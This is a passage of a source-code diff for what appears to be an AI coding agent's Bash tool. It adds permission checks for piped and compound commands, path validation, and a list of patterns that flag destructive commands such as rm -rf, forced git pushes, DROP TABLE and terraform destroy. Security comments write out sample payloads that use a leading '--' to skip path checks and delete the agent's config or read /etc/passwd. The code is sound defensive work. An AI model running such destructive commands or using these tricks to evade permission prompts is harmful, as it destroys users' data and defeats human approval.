A;IAAAa,CAAA,OAAAuB,GAAA;EAAA;IAAAA,GAAA,GAAAvB,CAAA;EAAA;EAAA,IAAAwB,GAAA;EAAA,IAAAxB,CAAA,SAAAY,EAAA,IAAAZ,CAAA,SAAAuB,GAAA,IAAAvB,CAAA,SAAAa,EAAA,IAAAb,CAAA,SAAAc,EAAA,IAAAd,CAAA,SAAAe,EAAA,IAAAf,CAAA,SAAAqB,EAAA,IAAArB,CAAA,SAAAsB,EAAA;IA7BHE,GAAA,IAAC,EAAG,CAAe,aAAQ,CAAR,CAAAX,EAAO,CAAC,CACxB,CAAAC,EAAuE,CACvE,CAAAC,EAEM,CACN,CAAAM,EAIM,CACN,CAAAC,EAcM,CACN,CAAAC,GAID,CACF,EA9BC,EAAG,CA8BE;IAAAvB,CAAA,OAAAY,EAAA;IAAAZ,CAAA,OAAAuB,GAAA;IAAAvB,CAAA,OAAAa,EAAA;IAAAb,CAAA,OAAAc,EAAA;IAAAd,CAAA,OAAAe,EAAA;IAAAf,CAAA,OAAAqB,EAAA;IAAArB,CAAA,OAAAsB,EAAA;IAAAtB,CAAA,OAAAwB,GAAA;EAAA;IAAAA,GAAA,GAAAxB,CAAA;EAAA;EAAA,OA9BNwB,GA8BM;AAAA","ignoreList":[]}

src/tools/BashTool/bashCommandHelpers.ts

@@ -0,0 +1,265 @@
+import type { z } from 'zod/v4'
+import {
+  isUnsafeCompoundCommand_DEPRECATED,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import {
+  buildParsedCommandFromRoot,
+  type IParsedCommand,
+  ParsedCommand,
+} from '../../utils/bash/ParsedCommand.js'
+import { type Node, PARSE_ABORTED } from '../../utils/bash/parser.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
+import { createPermissionRequestMessage } from '../../utils/permissions/permissions.js'
+import { BashTool } from './BashTool.js'
+import { bashCommandIsSafeAsync_DEPRECATED } from './bashSecurity.js'
+
+export type CommandIdentityCheckers = {
+  isNormalizedCdCommand: (command: string) => boolean
+  isNormalizedGitCommand: (command: string) => boolean
+}
+
+async function segmentedCommandPermissionResult(
+  input: z.infer<typeof BashTool.inputSchema>,
+  segments: string[],
+  bashToolHasPermissionFn: (
+    input: z.infer<typeof BashTool.inputSchema>,
+  ) => Promise<PermissionResult>,
+  checkers: CommandIdentityCheckers,
+): Promise<PermissionResult> {
+  // Check for multiple cd commands across all segments
+  const cdCommands = segments.filter(segment => {
+    const trimmed = segment.trim()
+    return checkers.isNormalizedCdCommand(trimmed)
+  })
+  if (cdCommands.length > 1) {
+    const decisionReason = {
+      type: 'other' as const,
+      reason:
+        'Multiple directory changes in one command require approval for clarity',
+    }
+    return {
+      behavior: 'ask',
+      decisionReason,
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    }
+  }
+
+  // SECURITY: Check for cd+git across pipe segments to prevent bare repo fsmonitor bypass.
+  // When cd and git are in different pipe segments (e.g., "cd sub && echo | git status"),
+  // each segment is checked independently and neither triggers the cd+git check in
+  // bashPermissions.ts. We must detect this cross-segment pattern here.
+  // Each pipe segment can itself be a compound command (e.g., "cd sub && echo"),
+  // so we split each segment into subcommands before checking.
+  {
+    let hasCd = false
+    let hasGit = false
+    for (const segment of segments) {
+      const subcommands = splitCommand_DEPRECATED(segment)
+      for (const sub of subcommands) {
+        const trimmed = sub.trim()
+        if (checkers.isNormalizedCdCommand(trimmed)) {
+          hasCd = true
+        }
+        if (checkers.isNormalizedGitCommand(trimmed)) {
+          hasGit = true
+        }
+      }
+    }
+    if (hasCd && hasGit) {
+      const decisionReason = {
+        type: 'other' as const,
+        reason:
+          'Compound commands with cd and git require approval to prevent bare repository attacks',
+      }
+      return {
+        behavior: 'ask',
+        decisionReason,
+        message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      }
+    }
+  }
+
+  const segmentResults = new Map<string, PermissionResult>()
+
+  // Check each segment through the full permission system
+  for (const segment of segments) {
+    const trimmedSegment = segment.trim()
+    if (!trimmedSegment) continue // Skip empty segments
+
+    const segmentResult = await bashToolHasPermissionFn({
+      ...input,
+      command: trimmedSegment,
+    })
+    segmentResults.set(trimmedSegment, segmentResult)
+  }
+
+  // Check if any segment is denied (after evaluating all)
+  const deniedSegment = Array.from(segmentResults.entries()).find(
+    ([, result]) => result.behavior === 'deny',
+  )
+
+  if (deniedSegment) {
+    const [segmentCommand, segmentResult] = deniedSegment
+    return {
+      behavior: 'deny',
+      message:
+        segmentResult.behavior === 'deny'
+          ? segmentResult.message
+          : `Permission denied for: ${segmentCommand}`,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: segmentResults,
+      },
+    }
+  }
+
+  const allAllowed = Array.from(segmentResults.values()).every(
+    result => result.behavior === 'allow',
+  )
+
+  if (allAllowed) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: segmentResults,
+      },
+    }
+  }
+
+  // Collect suggestions from segments that need approval
+  const suggestions: PermissionUpdate[] = []
+  for (const [, result] of segmentResults) {
+    if (
+      result.behavior !== 'allow' &&
+      'suggestions' in result &&
+      result.suggestions
+    ) {
+      suggestions.push(...result.suggestions)
+    }
+  }
+
+  const decisionReason = {
+    type: 'subcommandResults' as const,
+    reasons: segmentResults,
+  }
+
+  return {
+    behavior: 'ask',
+    message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    decisionReason,
+    suggestions: suggestions.length > 0 ? suggestions : undefined,
+  }
+}
+
+/**
+ * Builds a command segment, stripping output redirections to avoid
+ * treating filenames as commands in permission checking.
+ * Uses ParsedCommand to preserve original quoting.
+ */
+async function buildSegmentWithoutRedirections(
+  segmentCommand: string,
+): Promise<string> {
+  // Fast path: skip parsing if no redirection operators present
+  if (!segmentCommand.includes('>')) {
+    return segmentCommand
+  }
+
+  // Use ParsedCommand to strip redirections while preserving quotes
+  const parsed = await ParsedCommand.parse(segmentCommand)
+  return parsed?.withoutOutputRedirections() ?? segmentCommand
+}
+
+/**
+ * Wrapper that resolves an IParsedCommand (from a pre-parsed AST root if
+ * available, else via ParsedCommand.parse) and delegates to
+ * bashToolCheckCommandOperatorPermissions.
+ */
+export async function checkCommandOperatorPermissions(
+  input: z.infer<typeof BashTool.inputSchema>,
+  bashToolHasPermissionFn: (
+    input: z.infer<typeof BashTool.inputSchema>,
+  ) => Promise<PermissionResult>,
+  checkers: CommandIdentityCheckers,
+  astRoot: Node | null | typeof PARSE_ABORTED,
+): Promise<PermissionResult> {
+  const parsed =
+    astRoot && astRoot !== PARSE_ABORTED
+      ? buildParsedCommandFromRoot(input.command, astRoot)
+      : await ParsedCommand.parse(input.command)
+  if (!parsed) {
+    return { behavior: 'passthrough', message: 'Failed to parse command' }
+  }
+  return bashToolCheckCommandOperatorPermissions(
+    input,
+    bashToolHasPermissionFn,
+    checkers,
+    parsed,
+  )
+}
+
+/**
+ * Checks if the command has special operators that require behavior beyond
+ * simple subcommand checking.
+ */
+async function bashToolCheckCommandOperatorPermissions(
+  input: z.infer<typeof BashTool.inputSchema>,
+  bashToolHasPermissionFn: (
+    input: z.infer<typeof BashTool.inputSchema>,
+  ) => Promise<PermissionResult>,
+  checkers: CommandIdentityCheckers,
+  parsed: IParsedCommand,
+): Promise<PermissionResult> {
+  // 1. Check for unsafe compound commands (subshells, command groups).
+  const tsAnalysis = parsed.getTreeSitterAnalysis()
+  const isUnsafeCompound = tsAnalysis
+    ? tsAnalysis.compoundStructure.hasSubshell ||
+      tsAnalysis.compoundStructure.hasCommandGroup
+    : isUnsafeCompoundCommand_DEPRECATED(input.command)
+  if (isUnsafeCompound) {
+    // This command contains an operator like `>` that we don't support as a subcommand separator
+    // Check if bashCommandIsSafe_DEPRECATED has a more specific message
+    const safetyResult = await bashCommandIsSafeAsync_DEPRECATED(input.command)
+
+    const decisionReason = {
+      type: 'other' as const,
+      reason:
+        safetyResult.behavior === 'ask' && safetyResult.message
+          ? safetyResult.message
+          : 'This command uses shell operators that require approval for safety',
+    }
+    return {
+      behavior: 'ask',
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      decisionReason,
+      // This is an unsafe compound command, so we don't want to suggest rules since we wont be able to allow it
+    }
+  }
+
+  // 2. Check for piped commands using ParsedCommand (preserves quotes)
+  const pipeSegments = parsed.getPipeSegments()
+
+  // If no pipes (single segment), let normal flow handle it
+  if (pipeSegments.length <= 1) {
+    return {
+      behavior: 'passthrough',
+      message: 'No pipes found in command',
+    }
+  }
+
+  // Strip output redirections from each segment while preserving quotes
+  const segments = await Promise.all(
+    pipeSegments.map(segment => buildSegmentWithoutRedirections(segment)),
+  )
+
+  // Handle as segmented command
+  return segmentedCommandPermissionResult(
+    input,
+    segments,
+    bashToolHasPermissionFn,
+    checkers,
+  )
+}

src/tools/BashTool/commentLabel.ts

@@ -0,0 +1,13 @@
+/**
+ * If the first line of a bash command is a `# comment` (not a `#!` shebang),
+ * return the comment text stripped of the `#` prefix. Otherwise undefined.
+ *
+ * Under fullscreen mode this is the non-verbose tool-use label AND the
+ * collapse-group ⎿ hint — it's what Claude wrote for the human to read.
+ */
+export function extractBashCommentLabel(command: string): string | undefined {
+  const nl = command.indexOf('\n')
+  const firstLine = (nl === -1 ? command : command.slice(0, nl)).trim()
+  if (!firstLine.startsWith('#') || firstLine.startsWith('#!')) return undefined
+  return firstLine.replace(/^#+\s*/, '') || undefined
+}

src/tools/BashTool/destructiveCommandWarning.ts

@@ -0,0 +1,102 @@
+/**
+ * Detects potentially destructive bash commands and returns a warning string
+ * for display in the permission dialog. This is purely informational — it
+ * doesn't affect permission logic or auto-approval.
+ */
+
+type DestructivePattern = {
+  pattern: RegExp
+  warning: string
+}
+
+const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
+  // Git — data loss / hard to reverse
+  {
+    pattern: /\bgit\s+reset\s+--hard\b/,
+    warning: 'Note: may discard uncommitted changes',
+  },
+  {
+    pattern: /\bgit\s+push\b[^;&|\n]*[ \t](--force|--force-with-lease|-f)\b/,
+    warning: 'Note: may overwrite remote history',
+  },
+  {
+    pattern:
+      /\bgit\s+clean\b(?![^;&|\n]*(?:-[a-zA-Z]*n|--dry-run))[^;&|\n]*-[a-zA-Z]*f/,
+    warning: 'Note: may permanently delete untracked files',
+  },
+  {
+    pattern: /\bgit\s+checkout\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
+    warning: 'Note: may discard all working tree changes',
+  },
+  {
+    pattern: /\bgit\s+restore\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
+    warning: 'Note: may discard all working tree changes',
+  },
+  {
+    pattern: /\bgit\s+stash[ \t]+(drop|clear)\b/,
+    warning: 'Note: may permanently remove stashed changes',
+  },
+  {
+    pattern:
+      /\bgit\s+branch\s+(-D[ \t]|--delete\s+--force|--force\s+--delete)\b/,
+    warning: 'Note: may force-delete a branch',
+  },
+
+  // Git — safety bypass
+  {
+    pattern: /\bgit\s+(commit|push|merge)\b[^;&|\n]*--no-verify\b/,
+    warning: 'Note: may skip safety hooks',
+  },
+  {
+    pattern: /\bgit\s+commit\b[^;&|\n]*--amend\b/,
+    warning: 'Note: may rewrite the last commit',
+  },
+
+  // File deletion (dangerous paths already handled by checkDangerousRemovalPaths)
+  {
+    pattern:
+      /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR][a-zA-Z]*f|(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f[a-zA-Z]*[rR]/,
+    warning: 'Note: may recursively force-remove files',
+  },
+  {
+    pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR]/,
+    warning: 'Note: may recursively remove files',
+  },
+  {
+    pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f/,
+    warning: 'Note: may force-remove files',
+  },
+
+  // Database
+  {
+    pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
+    warning: 'Note: may drop or truncate database objects',
+  },
+  {
+    pattern: /\bDELETE\s+FROM\s+\w+[ \t]*(;|"|'|\n|$)/i,
+    warning: 'Note: may delete all rows from a database table',
+  },
+
+  // Infrastructure
+  {
+    pattern: /\bkubectl\s+delete\b/,
+    warning: 'Note: may delete Kubernetes resources',
+  },
+  {
+    pattern: /\bterraform\s+destroy\b/,
+    warning: 'Note: may destroy Terraform infrastructure',
+  },
+]
+
+/**
+ * Checks if a bash command matches known destructive patterns.
+ * Returns a human-readable warning string, or null if no destructive pattern is detected.
+ */
+export function getDestructiveCommandWarning(command: string): string | null {
+  for (const { pattern, warning } of DESTRUCTIVE_PATTERNS) {
+    if (pattern.test(command)) {
+      return warning
+    }
+  }
+  return null
+}

src/tools/BashTool/modeValidation.ts

@@ -0,0 +1,115 @@
+import type { z } from 'zod/v4'
+import type { ToolPermissionContext } from '../../Tool.js'
+import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import type { BashTool } from './BashTool.js'
+
+const ACCEPT_EDITS_ALLOWED_COMMANDS = [
+  'mkdir',
+  'touch',
+  'rm',
+  'rmdir',
+  'mv',
+  'cp',
+  'sed',
+] as const
+
+type FilesystemCommand = (typeof ACCEPT_EDITS_ALLOWED_COMMANDS)[number]
+
+function isFilesystemCommand(command: string): command is FilesystemCommand {
+  return ACCEPT_EDITS_ALLOWED_COMMANDS.includes(command as FilesystemCommand)
+}
+
+function validateCommandForMode(
+  cmd: string,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  const trimmedCmd = cmd.trim()
+  const [baseCmd] = trimmedCmd.split(/\s+/)
+
+  if (!baseCmd) {
+    return {
+      behavior: 'passthrough',
+      message: 'Base command not found',
+    }
+  }
+
+  // In Accept Edits mode, auto-allow filesystem operations
+  if (
+    toolPermissionContext.mode === 'acceptEdits' &&
+    isFilesystemCommand(baseCmd)
+  ) {
+    return {
+      behavior: 'allow',
+      updatedInput: { command: cmd },
+      decisionReason: {
+        type: 'mode',
+        mode: 'acceptEdits',
+      },
+    }
+  }
+
+  return {
+    behavior: 'passthrough',
+    message: `No mode-specific handling for '${baseCmd}' in ${toolPermissionContext.mode} mode`,
+  }
+}
+
+/**
+ * Checks if commands should be handled differently based on the current permission mode
+ *
+ * This is the main entry point for mode-based permission logic.
+ * Currently handles Accept Edits mode for filesystem commands,
+ * but designed to be extended for other modes.
+ *
+ * @param input - The bash command input
+ * @param toolPermissionContext - Context containing mode and permissions
+ * @returns
+ * - 'allow' if the current mode permits auto-approval
+ * - 'ask' if the command needs approval in current mode
+ * - 'passthrough' if no mode-specific handling applies
+ */
+export function checkPermissionMode(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  // Skip if in bypass mode (handled elsewhere)
+  if (toolPermissionContext.mode === 'bypassPermissions') {
+    return {
+      behavior: 'passthrough',
+      message: 'Bypass mode is handled in main permission flow',
+    }
+  }
+
+  // Skip if in dontAsk mode (handled in main permission flow)
+  if (toolPermissionContext.mode === 'dontAsk') {
+    return {
+      behavior: 'passthrough',
+      message: 'DontAsk mode is handled in main permission flow',
+    }
+  }
+
+  const commands = splitCommand_DEPRECATED(input.command)
+
+  // Check each subcommand
+  for (const cmd of commands) {
+    const result = validateCommandForMode(cmd, toolPermissionContext)
+
+    // If any command triggers mode-specific behavior, return that result
+    if (result.behavior !== 'passthrough') {
+      return result
+    }
+  }
+
+  // No mode-specific handling needed
+  return {
+    behavior: 'passthrough',
+    message: 'No mode-specific validation required',
+  }
+}
+
+export function getAutoAllowedCommands(
+  mode: ToolPermissionContext['mode'],
+): readonly string[] {
+  return mode === 'acceptEdits' ? ACCEPT_EDITS_ALLOWED_COMMANDS : []
+}

src/tools/BashTool/pathValidation.ts

@@ -0,0 +1,1303 @@
+import { homedir } from 'os'
+import { isAbsolute, resolve } from 'path'
+import type { z } from 'zod/v4'
+import type { ToolPermissionContext } from '../../Tool.js'
+import type { Redirect, SimpleCommand } from '../../utils/bash/ast.js'
+import {
+  extractOutputRedirections,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import { getDirectoryForPath } from '../../utils/path.js'
+import { allWorkingDirectories } from '../../utils/permissions/filesystem.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
+import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
+import {
+  expandTilde,
+  type FileOperationType,
+  formatDirectoryList,
+  isDangerousRemovalPath,
+  validatePath,
+} from '../../utils/permissions/pathValidation.js'
+import type { BashTool } from './BashTool.js'
+import { stripSafeWrappers } from './bashPermissions.js'
+import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
+
+export type PathCommand =
+  | 'cd'
+  | 'ls'
+  | 'find'
+  | 'mkdir'
+  | 'touch'
+  | 'rm'
+  | 'rmdir'
+  | 'mv'
+  | 'cp'
+  | 'cat'
+  | 'head'
+  | 'tail'
+  | 'sort'
+  | 'uniq'
+  | 'wc'
+  | 'cut'
+  | 'paste'
+  | 'column'
+  | 'tr'
+  | 'file'
+  | 'stat'
+  | 'diff'
+  | 'awk'
+  | 'strings'
+  | 'hexdump'
+  | 'od'
+  | 'base64'
+  | 'nl'
+  | 'grep'
+  | 'rg'
+  | 'sed'
+  | 'git'
+  | 'jq'
+  | 'sha256sum'
+  | 'sha1sum'
+  | 'md5sum'
+
+/**
+ * Checks if an rm/rmdir command targets dangerous paths that should always
+ * require explicit user approval, even if allowlist rules exist.
+ * This prevents catastrophic data loss from commands like `rm -rf /`.
+ */
+function checkDangerousRemovalPaths(
+  command: 'rm' | 'rmdir',
+  args: string[],
+  cwd: string,
+): PermissionResult {
+  // Extract paths using the existing path extractor
+  const extractor = PATH_EXTRACTORS[command]
+  const paths = extractor(args)
+
+  for (const path of paths) {
+    // Expand tilde and resolve to absolute path
+    // NOTE: We check the path WITHOUT resolving symlinks, because dangerous paths
+    // like /tmp should be caught even though /tmp is a symlink to /private/tmp on macOS
+    const cleanPath = expandTilde(path.replace(/^['"]|['"]$/g, ''))
+    const absolutePath = isAbsolute(cleanPath)
+      ? cleanPath
+      : resolve(cwd, cleanPath)
+
+    // Check if this is a dangerous path (using the non-symlink-resolved path)
+    if (isDangerousRemovalPath(absolutePath)) {
+      return {
+        behavior: 'ask',
+        message: `Dangerous ${command} operation detected: '${absolutePath}'\n\nThis command would remove a critical system directory. This requires explicit approval and cannot be auto-allowed by permission rules.`,
+        decisionReason: {
+          type: 'other',
+          reason: `Dangerous ${command} operation on critical path: ${absolutePath}`,
+        },
+        // Don't provide suggestions - we don't want to encourage saving dangerous commands
+        suggestions: [],
+      }
+    }
+  }
+
+  // No dangerous paths found
+  return {
+    behavior: 'passthrough',
+    message: `No dangerous removals detected for ${command} command`,
+  }
+}
+
+/**
+ * SECURITY: Extract positional (non-flag) arguments, correctly handling the
+ * POSIX `--` end-of-options delimiter.
+ *
+ * Most commands (rm, cat, touch, etc.) stop parsing options at `--` and treat
+ * ALL subsequent arguments as positional, even if they start with `-`. Naive
+ * `!arg.startsWith('-')` filtering drops these, causing path validation to be
+ * silently skipped for attack payloads like:
+ *
+ *   rm -- -/../.claude/settings.local.json
+ *
+ * Here `-/../.claude/settings.local.json` starts with `-` so the naive filter
+ * drops it, validation sees zero paths, returns passthrough, and the file is
+ * deleted without a prompt. With `--` handling, the path IS extracted and
+ * validated (blocked by isClaudeConfigFilePath / pathInAllowedWorkingPath).
+ */
+function filterOutFlags(args: string[]): string[] {
+  const result: string[] = []
+  let afterDoubleDash = false
+  for (const arg of args) {
+    if (afterDoubleDash) {
+      result.push(arg)
+    } else if (arg === '--') {
+      afterDoubleDash = true
+    } else if (!arg?.startsWith('-')) {
+      result.push(arg)
+    }
+  }
+  return result
+}
+
+// Helper: Parse grep/rg style commands (pattern then paths)
+function parsePatternCommand(
+  args: string[],
+  flagsWithArgs: Set<string>,
+  defaults: string[] = [],
+): string[] {
+  const paths: string[] = []
+  let patternFound = false
+  // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
+  // positional regardless of leading `-`. See filterOutFlags() doc comment.
+  let afterDoubleDash = false
+
+  for (let i = 0; i < args.length; i++) {
+    const arg = args[i]
+    if (arg === undefined || arg === null) continue
+
+    if (!afterDoubleDash && arg === '--') {
+      afterDoubleDash = true
+      continue
+    }
+
+    if (!afterDoubleDash && arg.startsWith('-')) {
+      const flag = arg.split('=')[0]
+      // Pattern flags mark that we've found the pattern
+      if (flag && ['-e', '--regexp', '-f', '--file'].includes(flag)) {
+        patternFound = true
+      }
+      // Skip next arg if flag needs it
+      if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
+        i++
+      }
+      continue
+    }
+
+    // First non-flag is pattern, rest are paths
+    if (!patternFound) {
+      patternFound = true
+      continue
+    }
+    paths.push(arg)
+  }
+
+  return paths.length > 0 ? paths : defaults
+}
+
+/**
+ * Extracts paths from command arguments for different path commands.
+ * Each command has specific logic for how it handles paths and flags.
+ */
+export const PATH_EXTRACTORS: Record<
+  PathCommand,
+  (args: string[]) => string[]
+> = {
+  // cd: special case - all args form one path
+  cd: args => (args.length === 0 ? [homedir()] : [args.join(' ')]),
+
+  // ls: filter flags, default to current dir
+  ls: args => {
+    const paths = filterOutFlags(args)
+    return paths.length > 0 ? paths : ['.']
+  },
+
+  // find: collect paths until hitting a real flag, also check path-taking flags
+  // SECURITY: `find -- -path` makes `-path` a starting point (not a predicate).
+  // GNU find supports `--` to allow search roots starting with `-`. After `--`,
+  // we conservatively collect all remaining args as paths to validate. This
+  // over-includes predicates like `-name foo`, but find is a read-only op and
+  // predicates resolve to paths within cwd (allowed), so no false blocks for
+  // legitimate use. The over-inclusion ensures attack paths like
+  // `find -- -/../../etc` are caught.
+  find: args => {
+    const paths: string[] = []
+    const pathFlags = new Set([
+      '-newer',
+      '-anewer',
+      '-cnewer',
+      '-mnewer',
+      '-samefile',
+      '-path',
+      '-wholename',
+      '-ilname',
+      '-lname',
+      '-ipath',
+      '-iwholename',
+    ])
+    const newerPattern = /^-newer[acmBt][acmtB]$/
+    let foundNonGlobalFlag = false
+    let afterDoubleDash = false
+
+    for (let i = 0; i < args.length; i++) {
+      const arg = args[i]
+      if (!arg) continue
+
+      if (afterDoubleDash) {
+        paths.push(arg)
+        continue
+      }
+
+      if (arg === '--') {
+        afterDoubleDash = true
+        continue
+      }
+
+      // Handle flags
+      if (arg.startsWith('-')) {
+        // Global options don't stop collection
+        if (['-H', '-L', '-P'].includes(arg)) continue
+
+        // Mark that we've seen a non-global flag
+        foundNonGlobalFlag = true
+
+        // Check if this flag takes a path argument
+        if (pathFlags.has(arg) || newerPattern.test(arg)) {
+          const nextArg = args[i + 1]
+          if (nextArg) {
+            paths.push(nextArg)
+            i++ // Skip the path we just processed
+          }
+        }
+        continue
+      }
+
+      // Only collect non-flag arguments before first non-global flag
+      if (!foundNonGlobalFlag) {
+        paths.push(arg)
+      }
+    }
+    return paths.length > 0 ? paths : ['.']
+  },
+
+  // All simple commands: just filter out flags
+  mkdir: filterOutFlags,
+  touch: filterOutFlags,
+  rm: filterOutFlags,
+  rmdir: filterOutFlags,
+  mv: filterOutFlags,
+  cp: filterOutFlags,
+  cat: filterOutFlags,
+  head: filterOutFlags,
+  tail: filterOutFlags,
+  sort: filterOutFlags,
+  uniq: filterOutFlags,
+  wc: filterOutFlags,
+  cut: filterOutFlags,
+  paste: filterOutFlags,
+  column: filterOutFlags,
+  file: filterOutFlags,
+  stat: filterOutFlags,
+  diff: filterOutFlags,
+  awk: filterOutFlags,
+  strings: filterOutFlags,
+  hexdump: filterOutFlags,
+  od: filterOutFlags,
+  base64: filterOutFlags,
+  nl: filterOutFlags,
+  sha256sum: filterOutFlags,
+  sha1sum: filterOutFlags,
+  md5sum: filterOutFlags,
+
+  // tr: special case - skip character sets
+  tr: args => {
+    const hasDelete = args.some(
+      a =>
+        a === '-d' ||
+        a === '--delete' ||
+        (a.startsWith('-') && a.includes('d')),
+    )
+    const nonFlags = filterOutFlags(args)
+    return nonFlags.slice(hasDelete ? 1 : 2) // Skip SET1 or SET1+SET2
+  },
+
+  // grep: pattern then paths, defaults to stdin
+  grep: args => {
+    const flags = new Set([
+      '-e',
+      '--regexp',
+      '-f',
+      '--file',
+      '--exclude',
+      '--include',
+      '--exclude-dir',
+      '--include-dir',
+      '-m',
+      '--max-count',
+      '-A',
+      '--after-context',
+      '-B',
+      '--before-context',
+      '-C',
+      '--context',
+    ])
+    const paths = parsePatternCommand(args, flags)
+    // Special: if -r/-R flag present and no paths, use current dir
+    if (
+      paths.length === 0 &&
+      args.some(a => ['-r', '-R', '--recursive'].includes(a))
+    ) {
+      return ['.']
+    }
+    return paths
+  },
+
+  // rg: pattern then paths, defaults to current dir
+  rg: args => {
+    const flags = new Set([
+      '-e',
+      '--regexp',
+      '-f',
+      '--file',
+      '-t',
+      '--type',
+      '-T',
+      '--type-not',
+      '-g',
+      '--glob',
+      '-m',
+      '--max-count',
+      '--max-depth',
+      '-r',
+      '--replace',
+      '-A',
+      '--after-context',
+      '-B',
+      '--before-context',
+      '-C',
+      '--context',
+    ])
+    return parsePatternCommand(args, flags, ['.'])
+  },
+
+  // sed: processes files in-place or reads from stdin
+  sed: args => {
+    const paths: string[] = []
+    let skipNext = false
+    let scriptFound = false
+    // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
+    // positional regardless of leading `-`. See filterOutFlags() doc comment.
+    let afterDoubleDash = false
+
+    for (let i = 0; i < args.length; i++) {
+      if (skipNext) {
+        skipNext = false
+        continue
+      }
+
+      const arg = args[i]
+      if (!arg) continue
+
+      if (!afterDoubleDash && arg === '--') {
+        afterDoubleDash = true
+        continue
+      }
+
+      // Handle flags (only before `--`)
+      if (!afterDoubleDash && arg.startsWith('-')) {
+        // -f flag: next arg is a script file that needs validation
+        if (['-f', '--file'].includes(arg)) {
+          const scriptFile = args[i + 1]
+          if (scriptFile) {
+            paths.push(scriptFile) // Add script file to paths for validation
+            skipNext = true
+          }
+          scriptFound = true
+        }
+        // -e flag: next arg is expression, not a file
+        else if (['-e', '--expression'].includes(arg)) {
+          skipNext = true
+          scriptFound = true
+        }
+        // Combined flags like -ie or -nf
+        else if (arg.includes('e') || arg.includes('f')) {
+          scriptFound = true
+        }
+        continue
+      }
+
+      // First non-flag is the script (if not already found via -e/-f)
+      if (!scriptFound) {
+        scriptFound = true
+        continue
+      }
+
+      // Rest are file paths
+      paths.push(arg)
+    }
+
+    return paths
+  },
+
+  // jq: filter then file paths (similar to grep)
+  // The jq command structure is: jq [flags] filter [files...]
+  // If no files are provided, jq reads from stdin
+  jq: args => {
+    const paths: string[] = []
+    const flagsWithArgs = new Set([
+      '-e',
+      '--expression',
+      '-f',
+      '--from-file',
+      '--arg',
+      '--argjson',
+      '--slurpfile',
+      '--rawfile',
+      '--args',
+      '--jsonargs',
+      '-L',
+      '--library-path',
+      '--indent',
+      '--tab',
+    ])
+    let filterFound = false
+    // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
+    // positional regardless of leading `-`. See filterOutFlags() doc comment.
+    let afterDoubleDash = false
+
+    for (let i = 0; i < args.length; i++) {
+      const arg = args[i]
+      if (arg === undefined || arg === null) continue
+
+      if (!afterDoubleDash && arg === '--') {
+        afterDoubleDash = true
+        continue
+      }
+
+      if (!afterDoubleDash && arg.startsWith('-')) {
+        const flag = arg.split('=')[0]
+        // Pattern flags mark that we've found the filter
+        if (flag && ['-e', '--expression'].includes(flag)) {
+          filterFound = true
+        }
+        // Skip next arg if flag needs it
+        if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
+          i++
+        }
+        continue
+      }
+
+      // First non-flag is filter, rest are file paths
+      if (!filterFound) {
+        filterFound = true
+        continue
+      }
+      paths.push(arg)
+    }
+
+    // If no file paths, jq reads from stdin (no paths to validate)
+    return paths
+  },
+
+  // git: handle subcommands that access arbitrary files outside the repository
+  git: args => {
+    // git diff --no-index is special - it explicitly compares files outside git's control
+    // This flag allows git diff to compare any two files on the filesystem, not just
+    // files within the repository, which is why it needs path validation
+    if (args.length >= 1 && args[0] === 'diff') {
+      if (args.includes('--no-index')) {
+        // SECURITY: git diff --no-index accepts `--` before file paths.
+        // Use filterOutFlags which handles `--` correctly instead of naive
+        // startsWith('-') filtering, to catch paths like `-/../etc/passwd`.
+        const filePaths = filterOutFlags(args.slice(1))
+        return filePaths.slice(0, 2) // git diff --no-index expects exactly 2 paths
+      }
+    }
+    // Other git commands (add, rm, mv, show, etc.) operate within the repository context
+    // and are already constrained by git's own security model, so they don't need
+    // additional path validation
+    return []
+  },
+}
+
+const SUPPORTED_PATH_COMMANDS = Object.keys(PATH_EXTRACTORS) as PathCommand[]
+
+const ACTION_VERBS: Record<PathCommand, string> = {
+  cd: 'change directories to',
+  ls: 'list files in',
+  find: 'search files in',
+  mkdir: 'create directories in',
+  touch: 'create or modify files in',
+  rm: 'remove files from',
+  rmdir: 'remove directories from',
+  mv: 'move files to/from',
+  cp: 'copy files to/from',
+  cat: 'concatenate files from',
+  head: 'read the beginning of files from',
+  tail: 'read the end of files from',
+  sort: 'sort contents of files from',
+  uniq: 'filter duplicate lines from files in',
+  wc: 'count lines/words/bytes in files from',
+  cut: 'extract columns from files in',
+  paste: 'merge files from',
+  column: 'format files from',
+  tr: 'transform text from files in',
+  file: 'examine file types in',
+  stat: 'read file stats from',
+  diff: 'compare files from',
+  awk: 'process text from files in',
+  strings: 'extract strings from files in',
+  hexdump: 'display hex dump of files from',
